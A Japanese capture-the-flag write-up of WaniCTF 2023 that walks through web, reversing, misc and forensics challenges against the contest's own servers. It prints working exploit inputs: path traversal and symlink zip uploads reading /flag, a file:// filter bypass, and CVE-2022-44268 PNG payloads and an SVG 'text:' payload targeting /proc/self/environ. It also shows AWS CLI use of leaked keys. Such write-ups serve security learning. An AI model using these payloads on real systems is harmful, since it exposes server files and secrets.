5/4 - 5/6という日程で開催された。チームℹ️❤️🐏*1で参加して全完し1位🎉 今回出題された問題の中だと、AWSのpentest問であるLambdaと、ただImageMagickの既知の脆弱性を使うだけでなく、Webアプリケーションのソースコードを読んで、その仕様と既知の脆弱性をいかに組み合わせて攻撃するかを考える必要のある問題であったcertified2が特に面白く感じた。
ほかのメンバーのwriteup:
- [Web 119] IndexedDB (608 solves)
- [Web 144] Extract Service 1 (245 solves)
- [Web 191] Extract Service 2 (103 solves)
- [Web 157] 64bps (182 solves)
- [Web 200] screenshot (91 solves)
- [Web 245] Lambda (54 solves)
- [Web 226] certified1 (66 solves)
- [Web 331] certified2 (23 solves)
- [Reversing 213] web_assembly (77 solves)
- [Misc 154] shuffle_base64 (194 solves)
- [Forensics 123] Just_mp4 (484 solves)
[Web 119] IndexedDB (608 solves)
このページのどこかにフラグが隠されているようです。ブラウザの開発者ツールを使って探してみましょう。
It appears that the flag has been hidden somewhere on this page. Let's use the browser's developer tools to find it.
https://indexeddb-web.wanictf.org
Writer : hi120ki
与えられたURLにアクセスすると、次のようなメッセージが表示された。
このページにフラグが隠されているようだけれども、HTMLは次のような感じでフラグはない。
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> </head> <body> <h1>Flag is already hidden in this page.</h1> </body> </html>
問題名のIndexedDBになにか隠されていないか確認する。ChromeでDevToolsを開き、Application → Storage → IndexedDBを確認すると、なんか生えている。
これを確認するとフラグが得られた。
FLAG{y0u_c4n_u3e_db_1n_br0wser}
DevToolsのNetworkをよく見ると、/
から /1ndex.html
にリダイレクトされていた。/
の内容は以下のような感じだった。
$ curl https://indexeddb-web.wanictf.org/ <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> </head> <body> </body> <script> var connection; window.onload = function () { var openRequest = indexedDB.open("testDB"); openRequest.onupgradeneeded = function () { connection = openRequest.result; var objectStore = connection.createObjectStore("testObjectStore", { keyPath: "name", }); objectStore.put({ name: "FLAG{y0u_c4n_u3e_db_1n_br0wser}" }); }; openRequest.onsuccess = function () { connection = openRequest.result; }; window.location = "1ndex.html"; }; </script> </html>
[Web 144] Extract Service 1 (245 solves)
ドキュメントファイルの要約サービスをリリースしました!配布ファイルの
sample
フォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。サーバーの
/flag
ファイルには秘密の情報が書いてあるけど大丈夫だよね...? どんなHTTPリクエストが送信されるのか見てみよう!We have released a summary service for document files! Please feel free to use the sample document file in the "sample" folder of the distribution file for trial purposes.
The secret information is written in the
/flag
file on the server, but it should be safe, right...? Let's see what kind of HTTP request is sent!https://extract1-web.wanictf.org
Writer : hi120ki
添付ファイル: web-extract1.zip
なるほど、/flag
を読めばよいらしい。与えられたURLにアクセスすると、次のようなフォームが表示された。.docx
, .xlsx
, .pptx
といったファイル形式を選択した上でファイルをアップロードすると、それに含まれるテキストを抽出してくれるらしい。
サンプルとして添付されている sample.docx
は次のようなドキュメント*2だけれども、
これをこのWebアプリケーションに投げると、たしかにテキストの部分だけ抽出してくれているのがわかる。
どうやってこれを実現しているのだろう。ソースコードが添付されているので確認していく。POST /
に対応する処理は次のようになっている。UUIDv4を生成した上で、アップロードされたファイルを /tmp/(ファイルのID).zip
に保存し、ExtractFile
でZIPとして展開、ExtractContent
で展開されたファイルからテキストを抽出している。
アップロードしたファイルは file
、ファイル形式に対応する文字列は target
というキーで入っている。target
は実はファイルの拡張子ではなく、word/document.xml
や xl/sharedStrings.xml
といったような感じで、テキストを抽出する対象のパスが入っている。
r.POST("/", func(c *gin.Context) { baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e zipPath := baseDir + ".zip" // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip file, err := c.FormFile("file") if err != nil { c.HTML(http.StatusOK, "index.html", gin.H{ "result": "Error : " + err.Error(), }) return } extractTarget := c.PostForm("target") if extractTarget == "" { c.HTML(http.StatusOK, "index.html", gin.H{ "result": "Error : target is required", }) return } // … if err := c.SaveUploadedFile(file, zipPath); err != nil { c.HTML(http.StatusOK, "index.html", gin.H{ "result": "Error : " + err.Error(), }) return } if err := ExtractFile(zipPath, baseDir); err != nil { c.HTML(http.StatusOK, "index.html", gin.H{ "result": "Error : " + err.Error(), }) return } result, err := ExtractContent(baseDir, extractTarget) if err != nil { c.HTML(http.StatusOK, "index.html", gin.H{ "result": "Error : " + err.Error(), }) return } // … })
ExtractFile
は次のような感じ。unzip
コマンドで展開しているらしい。zipPath
も baseDir
もサーバ側で生成したパスで、ユーザの入力した文字列が入る余地はないので、OSコマンドインジェクションはできそうにない。
func ExtractFile(zipPath, baseDir string) error { if err := exec.Command("unzip", zipPath, "-d", baseDir).Run(); err != nil { return err } return nil }
ExtractContent
は次のような感じ。正規表現によって <
と >
で囲まれた文字列や改行文字を削除しているだけで、XMLとして読み込んでいるわけではないので、XXEでゴニョゴニョというのはできそうにない。ここで、第2引数である extractTarget
はユーザ入力由来だけれども、ここまでで何かチェックがされているわけではなかった。Path Traversalができそう。
func ExtractContent(baseDir, extractTarget string) (string, error) { raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget)) if err != nil { return "", err } removeXmlTag := regexp.MustCompile("<.*?>") resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "") removeNewLine := regexp.MustCompile(`\r?\n`) resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "") return resultNewLineRemoved, nil }
DevToolsでアップロードページの target
の値を ../../../../../../../flag
に書き換える。
このまま適当なファイルをアップロードすると、フラグが得られた。
FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}
[Web 191] Extract Service 2 (103 solves)
Extract Service 1は脆弱性があったみたいなので修正しました! 配布ファイルの
sample
フォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。サーバーの
/flag
ファイルには秘密の情報が書いてあるけど大丈夫だよね...?We have fixed Extract Service 1 as it had vulnerabilities! Please feel free to use the sample document file in the "sample" folder of the distribution file for trial purposes.
The secret information is written in the
/flag
file on the server, but it should be safe, right...?https://extract2-web.wanictf.org
Writer : hi120ki
添付ファイル: web-extract2.zip
Extract Service 1に修正が加えられたらしい。diff
で変わった箇所を確認すると、target
のPath Traversalが修正されていることがわかる。テキストの抽出対象であるパスを指定するのではなく、拡張子を指定するようになっている。ここ以外には変更はないので、ほかの脆弱性を探す必要がありそう。
$ diff -u ../../../Extract\ Service\ 1/web-extract1/web-extract1/main.go main.go --- "../../../Extract Service 1/web-extract1/web-extract1/main.go" 2023-05-04 15:15:30.658844600 +0900 +++ main.go 2023-05-04 15:33:23.707458300 +0900 @@ -35,13 +35,27 @@ return } - extractTarget := c.PostForm("target") - if extractTarget == "" { + // patched + extractTarget := "" + targetParam := c.PostForm("target") + if targetParam == "" { c.HTML(http.StatusOK, "index.html", gin.H{ "result": "Error : target is required", }) return } + if targetParam == "docx" { + extractTarget = "word/document.xml" + } else if targetParam == "xlsx" { + extractTarget = "xl/sharedStrings.xml" + } else if targetParam == "pptx" { + extractTarget = "ppt/slides/slide1.xml" + } else { + c.HTML(http.StatusOK, "index.html", gin.H{ + "result": "Error : target is invalid", + }) + return + } if err := os.MkdirAll(baseDir, 0777); err != nil { c.HTML(http.StatusOK, "index.html", gin.H{
os.ReadFile
はシンボリックリンクを辿ってくれるので、たとえば docx
ファイルの word/document.xml
を /flag
を指すシンボリックリンクにできないか。zip
コマンドは -y
オプションを付加することでシンボリックリンクを保持したままZIPを作成できる。
-y --symlinks For UNIX and VMS (V8.3 and later), store symbolic links as such in the zip archive, instead of compressing and storing the file referred to by the link. This can avoid multiple copies of files being included in the archive as zip recurses the directory trees and accesses files directly and by links.
サンプルの docx
を展開した上で word/document.xml
を削除し、ln -s /flag word/document.xml
でシンボリックリンクを仕込む。zip -ry a.docx .
みたいな感じで怪しい docx
ファイルを作る。これをアップロードするとフラグが得られた。
FLAG{4x7ract_i3_br0k3n_by_3ymb01ic_1ink_fi1e}
[Web 157] 64bps (182 solves)
dd if=/dev/random of=2gb.txt bs=1M count=2048 cat flag.txt >> 2gb.txt rm flag.txt
↓↓↓
https://64bps-web.wanictf.org/2gb.txt
Writer : ciffelia
添付ファイル: web-64bps.zip
2GBのテキストファイルの末尾にフラグが書き込まれているらしい。添付ファイルには問題サーバの設定ファイルである nginx.conf
が含まれており、これは次のような内容になっている。limit_rate 8
という設定から、問題名の通りかなり厳しい帯域制限があることがわかる。普通にダウンロードしようとすると、何年もかかってしまいそう。
user nginx; worker_processes auto; error_log /var/log/nginx/error.log notice; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; keepalive_timeout 65; gzip off; limit_rate 8; # 8 bytes/s = 64 bps server { listen 80; listen [::]:80; server_name localhost; location / { root /usr/share/nginx/html; index index.html index.htm; } } }
2gb.txt
の最後のフラグ部分だけを返させるようにはできないか。HTTPには Range
ヘッダというそのためのヘッダがある。これを使うとフラグ部分だけが得られた。
$ curl -i https://64bps-web.wanictf.org/2gb.txt -r 2147483648-2147483748 HTTP/1.1 206 Partial Content Server: nginx Date: Thu, 04 May 2023 07:01:26 GMT Content-Type: text/plain Content-Length: 49 Connection: keep-alive Last-Modified: Mon, 01 May 2023 04:40:51 GMT ETag: "644f42d3-80000031" Content-Range: bytes 2147483648-2147483696/2147483697 FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}
FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}
[Web 200] screenshot (91 solves)
好きなウェブサイトのスクリーンショットを撮影してくれるアプリです。
An application that takes screenshots of your favorite websites.
https://screenshot-web.wanictf.org
Writer : ciffelia
添付ファイル: web-screenshot.zip
与えられたURLにアクセスすると、次のようなフォームが表示される。適当なURLを入力すると、たしかにそれにアクセスした様子のスクリーンショットが返ってきた。
添付されているソースコードには次のような処理がある。Playwrightを使ってChromiumで指定されたURLにアクセスし、そのスクリーンショットを撮っている。file
がURLに含まれておらず、かつ http
がURLに含まれている必要があるというような制約によって、Webページにしかアクセスできないようにしている。
const context = await browser.newContext(); context.setDefaultTimeout(5000); try { if (!req.query.url.includes("http") || req.query.url.includes("file")) { res.status(400).send("Bad Request"); return; } const page = await context.newPage(); const params = new URLSearchParams(req.url.slice(req.url.indexOf("?"))); await page.goto(params.get("url")); const buf = await page.screenshot(); res.header("Content-Type", "image/png").send(buf); } catch (err) { console.log("[Error]", req.method, req.url, err); res.status(500).send("Internal Error"); } finally { await context.close(); }
というのも、フラグはローカルのファイルとして問題サーバに保存されており、file:///flag.txt
のようなURLを通してしまうとそれだけでフラグが手に入れられてしまうから。
COPY ./flag.txt /flag.txt
ただ、事前にクエリパラメータから持ってきたURLを toLowerCase
で小文字化しているわけではないので、filE://
のように一部を大文字にするだけでフィルターをバイパスできてしまう。また、(new URL(url)).protocol
のようにちゃんとURLとしてパースして、そのプロトコルをチェックしているというわけでもないので、filE:///etc/passwd?http
のようにクエリパラメータなどに http
が含まれていたとしても、サーバはこれを通してしまう。これらを組み合わせて、fiLe:///flag.txt?http
を入力するとフラグが得られた。
フラグを見てすいません…という気持ちになる。
FLAG{beware_of_parameter_type_confusion!}
[Web 245] Lambda (54 solves)
以下のサイトはユーザ名とパスワードが正しいときフラグを返します。今あなたはこのサイトの管理者のAWSアカウントのログイン情報を極秘に入手しました。このログインを突破できますか。
The following site returns a flag when you input correct username and password. Now you have the confidential login information for the AWS account of the administrator of this site. Please get through this authentication.
https://lambda-web.wanictf.org
Writer : kaki005
添付ファイル: web-lambda.zip
与えられたURLにアクセスすると、次のようにシンプルなログインフォームが表示される。適当な認証情報を入力しても、当然ながらincorrectと言われる。
このフォーム周りの処理は次のような感じ。Amazon API Gatewayで作ったAPIを叩いている。
window.onload = (event) => { const btn = document.querySelector("#submitBtn"); btn.addEventListener("click", async () => { console.log("aaa"); const password = document.querySelector(".password"); const username = document.querySelector(".username"); const result = document.querySelector(".result"); console.log(password); console.log(username); const url = new URL( "https://k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com/test/" ); url.searchParams.append("PassWord", password.value); url.searchParams.append("UserName", username.value); const response = await fetch(url.href, { method: "get" }); Promise.resolve(response.text()).then( (value) => { console.log(value); result.innerText = value; }, (value) => { console.error(value); } ); }); };
添付ファイルはソースコードではなく、AWSのアクセスキー、シークレットキー、それからリージョン名が書かれたCSVだった。このアクセスキーで何ができるか確認する必要がある。API Gatewayで何ができるか確認する。aws configure
でアクセスキーなどの設定をしてから、AWS CLIのドキュメントを参考に色々試す。問題名を見るにAWS Lambdaも使われているので、最終的にはどんなLambda関数が走っているかを確認したい。
REST API IDは前述のJavaScriptコードから k0gh2dp2jg
とわかっているので、これを使いつつまず aws apigateway get-resources
を叩くと、/
のリソースIDが hd6co6xcng
であるとわかる。
$ aws apigateway get-resources --rest-api-id k0gh2dp2jg { "items": [ { "id": "hd6co6xcng", "path": "/", "resourceMethods": { "GET": {} } } ] }
得られたリソースIDから aws apigateway get-integration
で設定を確認する。使われているLambda関数のARNが得られていそう。
$ aws apigateway get-integration --rest-api-id k0gh2dp2jg --resource-id hd6co6xcng --http-method GET { "type": "AWS_PROXY", "httpMethod": "POST", "uri": "arn:aws:apigateway:ap-northeast-1:lambda:path/2015-03-31/functions/arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function/invocations", "passthroughBehavior": "WHEN_NO_MATCH", "contentHandling": "CONVERT_TO_TEXT", "timeoutInMillis": 29000, "cacheNamespace": "hd6co6xcng", "cacheKeyParameters": [], "integrationResponses": { "200": { "statusCode": "200", "responseTemplates": {} } } }
得られたARNを使って aws lambda get-function
でLambda関数の情報を取得する。.Code.Location
にS3の署名付きURLが含まれているので、これにアクセスするとLambda関数のパッケージがZIPでダウンロードできた。
$ aws lambda get-function --function-name arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function { "Configuration": { "FunctionName": "wani_function", "FunctionArn": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function", "Runtime": "dotnet6", "Role": "arn:aws:iam::839865256996:role/service-role/wani_function-role-zhw0ck9t", "Handler": "WaniCTF_Lambda::WaniCTF_Lambda.Function::LoginWani", "CodeSize": 960588, "Description": "", "Timeout": 15, "MemorySize": 512, "LastModified": "2023-05-01T14:21:15.000+0000", "CodeSha256": "Gfkg4Q7OrMA+DPsFg6zR+gZXezeG8KEMe/8w8BLmRSA=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "0a4cde2c-6dbb-4240-9332-2f5611256deb", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 } }, "Code": { "RepositoryType": "S3", "Location": "(省略)" } }
これを展開すると、次のようなファイルが出てくる。.NETだ。
$ ls Amazon.Lambda.APIGatewayEvents.dll Amazon.Lambda.Serialization.SystemTextJson.dll WaniCTF_Lambda.dll Amazon.Lambda.Core.dll Newtonsoft.Json.dll WaniCTF_Lambda.runtimeconfig.json Amazon.Lambda.Serialization.Json.dll WaniCTF_Lambda.deps.json
.NETの解析といえばdnSpyだ。投げてみると、C#だと次のような感じに逆コンパイルされた。ユーザ名とパスワードのほか、フラグまで含まれている。
namespace WaniCTF_Lambda { // Token: 0x02000005 RID: 5 public class Function { // Token: 0x06000005 RID: 5 RVA: 0x00010B88 File Offset: 0x00000B88 [NullableContext(1)] public APIGatewayProxyResponse LoginWani(APIGatewayProxyRequest input, ILambdaContext context) { IDictionary<string, string> queryStringParameters = input.QueryStringParameters; Dictionary<string, string> dictionary = new Dictionary<string, string>(); dictionary["Access-Control-Allow-Origin"] = "https://lambda-web.wanictf.org"; dictionary["Access-Control-Allow-Methods"] = "GET OPTIONS"; Dictionary<string, string> headers = dictionary; if (queryStringParameters == null) { return new APIGatewayProxyResponse { StatusCode = 500, Body = "QueryStringParameters is null", Headers = headers }; } if (!queryStringParameters.ContainsKey("UserName") || !queryStringParameters.ContainsKey("PassWord")) { return new APIGatewayProxyResponse { StatusCode = 400, Body = "ユーザー名とパスワードを指定してください", Headers = headers }; } string text = queryStringParameters["UserName"]; string text2 = queryStringParameters["PassWord"]; if (text == "LambdaWaniwani" && text2 == "aflkajflalkalbnjlsrkaerl") { return new APIGatewayProxyResponse { StatusCode = 200, Body = "FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}", Headers = headers }; } return new APIGatewayProxyResponse { StatusCode = 200, Body = "Password or UserName are incorrect!!! : " + text + ": " + text2, Headers = headers }; } } }
FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}
[Web 226] certified1 (66 solves)
最近流行りの言語を使った安全なウェブアプリが完成しました!
We have released a secure web application using a state-of-the-art language!
https://certified-web.wanictf.org
この問題にはフラグが2つ存在します。ファイル
/flag_A
にあるフラグをcertified1に、環境変数FLAG_B
にあるフラグをcertified2に提出してください。
There are two flags in this problem. Please submit the flag in file
/flag_A
to certified1 and one in the environment variableFLAG_B
to certified2.Note: "承認, ワニ博士" means "Approved, Dr. Wani" in Japanese.
Writer : ciffelia
添付ファイル: web-certified1.zip
与えられたURLにアクセスすると、次のようなファイルのアップロードフォームが表示される。
画像をアップロードすると、次のような加工された画像が返ってきた。なるほど、承認欲求が満たされる。
このWebアプリケーションはRustで書かれている。POST /create
というフォームのアップロード先に対応する処理は次の通り。まず作業用のディレクトリを /data/(UUIDv4)
に作成する。そこにユーザが投げたファイルを、元のファイル名で保存する。そして process_image
で加工した画像を返している。
// POST /create #[debug_handler] pub async fn handle_create(mut multipart: extract::Multipart) -> HandlerResult { let id = Uuid::new_v4(); let current_dir = PathBuf::from(format!("./data/{id}")); fs::create_dir(¤t_dir) .await .context("Failed to create working directory")?; let (file_name, file_data) = match extract_file(&mut multipart).await { Some(file) => file, None => return Ok((StatusCode::BAD_REQUEST, "Invalid multipart data").into_response()), }; fs::write( current_dir.join(file_name.file_name().unwrap_or("".as_ref())), file_data, ) .await .context("Failed to save uploaded file")?; process_image(¤t_dir, &file_name) .await .context("Failed to process image")?; Ok((StatusCode::SEE_OTHER, [("location", format!("/view/{id}"))]).into_response()) }
画像の加工部分である process_image
は次のようなコードで実現されている。作業用のディレクトリにはすでに元のファイル名でユーザがアップロードしたファイルが配置されているわけだけれども、それを同じ内容で input
というファイルにコピーする。テンプレートである「承認」の画像も overlay.png
としてコピーしてくる。そして、あとはImageMagickに丸投げして、ユーザがアップロードした画像の右下に overlay.png
を乗っけている。出力先は output.png
。
use anyhow::{bail, Context, Result}; use std::path::Path; use std::process::Stdio; use tokio::fs; use tokio::process::Command; pub async fn process_image(working_directory: &Path, input_filename: &Path) -> Result<()> { fs::copy( working_directory.join(input_filename), working_directory.join("input"), ) .await .context("Failed to prepare input")?; fs::write( working_directory.join("overlay.png"), include_bytes!("../assets/hanko.png"), ) .await .context("Failed to prepare overlay")?; let child = Command::new("sh") .args([ "-c", "timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png", ]) .current_dir(working_directory) .stdin(Stdio::null()) .stdout(Stdio::null()) .stderr(Stdio::piped()) .spawn() .context("Failed to spawn")?; let out = child .wait_with_output() .await .context("Failed to read output")?; if !out.status.success() { bail!( "image processing failed on {}:\n{}", working_directory.display(), std::str::from_utf8(&out.stderr)? ); } Ok(()) }
ImageMagickと聞くとCVE-2022-44268が思い出される。これは、PNGファイルの tEXt
チャンクに profile
というキーワードで /etc/passwd
のようなファイルパスが含まれていると、そのファイルの中身を出力されるPNGの tEXt
チャンクに埋め込んでしまうという脆弱性だ。
Dockerfile
には次のような記述があり、使われているImageMagickのバージョンは7.1.0-51であることがわかる。CVE-2022-44268の影響を受けるバージョンだ。
ARG MAGICK_URL="https://github.com/ImageMagick/ImageMagick/releases/download/7.1.0-51/ImageMagick--gcc-x86_64.AppImage" RUN curl --location --fail -o /usr/local/bin/magick $MAGICK_URL && \ chmod 755 /usr/local/bin/magick
CVE-2022-44268を試す。tEXt
チャンクに profile
というキーワードで /flag_A
というパスを仕込む。これで pngout.png
に細工したPNGが出力される。
$ pngcrush -text a "profile" "/flag_A" shika.png bc705feec.png Recompressing IDAT chunks in shika.png to pngout.png Total length of data found in critical chunks = 294301 Best pngcrush method = 5 (ws 15 fm 1 zl 9 zs 1) = 297637 CPU time decode 0.031679, encode 0.418298, other 0.004685, total 0.456159 sec
これをアップロードし、出力されたPNGを保存する。identify
で tEXt
チャンクを確認すると、/flag_A
の中身が埋め込まれていた。
$ identify -verbose 5b80f3d9-593c-4e53-b3f7-552ed68c8c54.png … Raw profile type: 42 464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f 793075217d0a signature: 27c4fe80800f47f34703ee96bca8d8c57f97e77888838a451f47d597b0ff81e4 …
CyberChefでデコードするとフラグが得られた。
FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}
[Web 331] certified2 (23 solves)
certified1をご覧ください。
Please see certified1.
Writer : ciffelia
今度は /flag_A
というファイルでなく、環境変数の flag_B
を取得すればよさそう。certified1と同じように tEXt
チャンクで profile
というキーワードに /proc/self/environ
を仕込んでみたものの、動かない。
RCEやOSコマンドインジェクションではないかと疑うが、少なくともWebアプリケーション側については、前者はPHPなどではないので適当にファイルを書き込んで /evil.php
にアクセスすればオッケー! というわけにはいかないし、後者はImageMagickを使った画像の加工処理において、ファイル名がハードコードされておりユーザ入力の入る余地はないので難しい。となると、ImageMagick自体の脆弱性(ただし、使われているバージョンではほかに悪用可能な脆弱性はないように思える)や仕様を使った攻撃か、それともWebアプリケーションの仕様を組み合わせた攻撃ではないかを考える。
let child = Command::new("sh") .args([ "-c", "timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png", ])
ここでSVGと text:
を使ったファイルの読み出しを思い出す。次のようなSVGを用意する。
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500"> <image xlink:href="text:/proc/self/environ" height="500" width="500"/> </svg>
これをアップロードしてみたものの、フォントのHelveticaが見つからないと怒られてしまった。<font>
とかでのフォントの定義やHelvetica以外のフォントの指定ができたりしない? と思ったものの、やはりダメ。html:
や odt:
も試すが、それぞれ html2ps
やLibreOfficeが存在しないのでダメ。
Failed to process image Caused by: image processing failed on ./data/b03dd324-ab17-4a5b-9a0c-5d00908b2571: magick: unable to read font `helvetica' @ error/annotate.c/RenderFreetype/1616. magick: unable to get type metrics `/proc/self/environ' @ error/txt.c/ReadTEXTImage/274. magick: non-conforming drawing primitive definition `image' @ error/draw.c/RenderMVGContent/4504.
GET /view
は /data/(UUID)/output.png
を返す。もし cp /proc/self/environ /data/(UUID)/output.png
のように output.png
を /proc/self/environ
の内容に書き換えることができれば、/view/(UUID)
にアクセスすることで環境変数が得られるのではないかと考えた。MSLを使ったファイル書き込みの手法があるので試してみたものの、Document is empty
だの SAX error
だのよくわからんエラーが出てダメ。
// GET /view #[debug_handler] pub async fn handle_view( extract::Path(id): extract::Path<Uuid>, ) -> HandlerResult<impl IntoResponse> { let data = fs::read(format!("./data/{id}/output.png")) .await .context("Failed to read file")?; Ok(([("content-type", "image/png")], data)) }
う~~~~んと考えていたところで、作業用のディレクトリに input
としてユーザのアップロードしたファイルがコピーされることを思い出す。process_image
中のコピー処理は以下のようになっているが、ここで参照されている input_filename
がどこから来たか確認する。
fs::copy( working_directory.join(input_filename), working_directory.join("input"), )
multipart/form-data
で投げられたファイルの内容とファイル名は、次の extract_file
という関数で取り出されている。ファイル名は Content-Disposition
ヘッダから取ってきたもので、これ以降 process_image
で参照されるまでにbasename的なことがされている(ファイル名だけの切り出しをしている)わけではなさそう。Path Traversalができるのではないか。
// Extract file name and file data from multipart form data async fn extract_file(multipart: &mut extract::Multipart) -> Option<(PathBuf, Bytes)> { while let Ok(Some(field)) = multipart.next_field().await { if field.name() == Some("file") { let file_name = match field.file_name() { Some(file_name) => PathBuf::from(file_name), None => return None, }; let file_data = match field.bytes().await { Ok(bytes) => bytes, Err(_) => return None, }; return Some((file_name, file_data)); } } None }
Burp Suiteなどを使いつつ、次のように Content-Disposition
ヘッダ中のファイル名で /proc/self/environ
を参照しそうな感じでPath Traversalを試みる。
このままアップロードすると、/proc/self/environ
の内容はそのままでは画像として解釈できないものなので、当然ながらImageMagickによる画像の加工は失敗するが、作業用のディレクトリの名前はわかる。この例でいうと /data/adf5b0a6-c932-4ae1-9a0e-1f51cd37358e/input
に /proc/self/environ
の内容がコピーされているはず。そして、画像の加工に失敗した場合でも作業用のディレクトリを削除するような処理はないので、そのまま残って後から参照できるようになっているはず。
CVE-2022-44268でこの /data/adf5b0a6-c932-4ae1-9a0e-1f51cd37358e/input
の内容を取得するようなPNGファイルを作成し、ImageMagickに加工させる。出力されたPNGには、次のように環境変数が含まれていた。
Raw profile type: 268 504154483d2f7573722f6c6f63616c2f7362696e3a2f7573722f6c6f63616c2f62696e3a 2f7573722f7362696e3a2f7573722f62696e3a2f7362696e3a2f62696e00484f53544e41 4d453d30663030353337636565313700415050494d4147455f455854524143545f414e44 5f52554e3d3100464c41475f423d464c41477b6e30775f376861745f7930755f68347665 5f3768655f736563306e645f663161395f7930755f3472655f615f636572743166316564 5f68346e6b305f6d40737465727d00525553545f4c4f473d68616e6b6f2c746f7765725f 687474703d54524143452c494e464f004c495354454e5f414444523d302e302e302e303a 3330303000484f4d453d2f726f6f7400 signature: c984ee3cffb73bfe6b045d9af5c2cf26f72a8731188e5ac7f911d2ef570c9e6c
CyberChefに投げるとフラグが得られ、CHM(Certified Hanko Master)の称号を得た。
FLAG{n0w_7hat_y0u_h4ve_7he_sec0nd_f1a9_y0u_4re_a_cert1f1ed_h4nk0_m@ster}
[Reversing 213] web_assembly (77 solves)
ブラウザ上でC++を動かすことに成功しました!! 正しいユーザ名とパスワードを入力するとフラグがゲットできます。
I successfully ran C++ in the browser!! Enter the correct username and password to get the flag.
注意: 作問におけるミスにより、フラグは
Flag{
から始まり}
で終わります。ご迷惑をおかけして申し訳ありません。Note: This flag starts
Flag{
and ends}
. Sorry for the inconvenience.Writer : kaki005
与えられたURLにアクセスすると、ユーザ名とパスワードを聞かれる。
適当な認証情報を入力すると Incorrect!
と言われる。それはそれとして、Emscriptenだ。
DevToolsでSourcesから index.wasm
の逆アセンブル結果を見る。data
セクションに 3r!}
とかなんかフラグっぽい文字列が含まれている。
認証情報っぽい文字列もある。
これらを入力すると、フラグが得られた(すいません…)。
Flag{Y0u_C4n_3x3cut3_Cpp_0n_Br0us3r!}
[Misc 154] shuffle_base64 (194 solves)
FLAG shuffled, Base64-encoded. Wow!
FLAG format : FLAG{DUMMY_FLAG} SHA256: 19B0E576B3457EDFD86BE9087B5880B6D6FAC8C40EBD3D1F57CA86130B230222
Writer : Gureisya
添付ファイル: mis-shuffle-base64.zip
import random import itertools import base64 import hashlib def make_shuffle_list(m): num = [] for i in range(len(m) // 3): num.append(i) return list(itertools.permutations(num, len(m) // 3)) def make_str_blocks(m): tmp = "" ret = [] for i in range(len(m)): tmp += m[i] if i % 3 == 2: ret.append(tmp) tmp = "" return ret def pad(m): ret = "" for i in range(len(m)): ret += m[i] if i % 2: ret += chr(random.randrange(33, 126)) while len(ret) % 3: ret += chr(random.randrange(33, 126)) return ret flag = "FAKE{DUMMY_FLAG}" # FLAG check # assert (hashlib.sha256(flag.encode()).hexdigest() == "19b0e576b3457edfd86be9087b5880b6d6fac8c40ebd3d1f57ca86130b230222") padflag = pad(flag) shuffle_list = make_shuffle_list(padflag) str_blocks = make_str_blocks(padflag) order = random.randrange(0, len(shuffle_list) - 1) cipher = "" for i in shuffle_list[order]: cipher += str_blocks[i] cipher = base64.b64encode(cipher.encode()) print(f"cipher = {cipher}")
まずパーツを何番目に配置するか、みたいな感じのタプルのリストを作る(make_shuffle_list
)。入力された文字列を2文字ごとに区切った後に、各パーツに1文字もしくは2文字のランダムな文字をパディングとして付加している(make_str_blocks
)。make_shuffle_list
で生成したリストからランダムに要素を取ってきて、それにしたがってシャッフル、結合してBase64エンコードする。
shuffle_list
は固定だし、フラグのSHA-256ハッシュ値も与えられているので、ブルートフォースすればよい。さっきのコードの後ろに次のような処理を追加する。
import re cipher = b'fWQobGVxRkxUZmZ8NjQsaHUhe3NAQUch' s = base64.b64decode(cipher).decode() s = [x[:-1] for x in re.findall(r'.{3}', s)] def yattemiru(order): res = '' for i in range(len(s)): res += s[shuffle_list[order].index(i)] return res for i in range(len(shuffle_list) - 1): res = yattemiru(i) if hashlib.sha256(res[:-1].encode()).hexdigest() == '19b0e576b3457edfd86be9087b5880b6d6fac8c40ebd3d1f57ca86130b230222': print(res)
実行するとフラグが得られた。
$ python3 chall.py FLAG{shuffle64}d
FLAG{shuffle64}
[Forensics 123] Just_mp4 (484 solves)
✨✨✨ Enjoy wani CTF ! ✨✨✨
Writer : Mikka
添付ファイル: for-Just-mp4.zip
謎の動画が与えられる。
Header Reader MP4に投げると、udta
になんかあった。これをBase64デコードするとフラグが得られた。
FLAG{H4v1n_fun_1nn1t}
*1:メェ~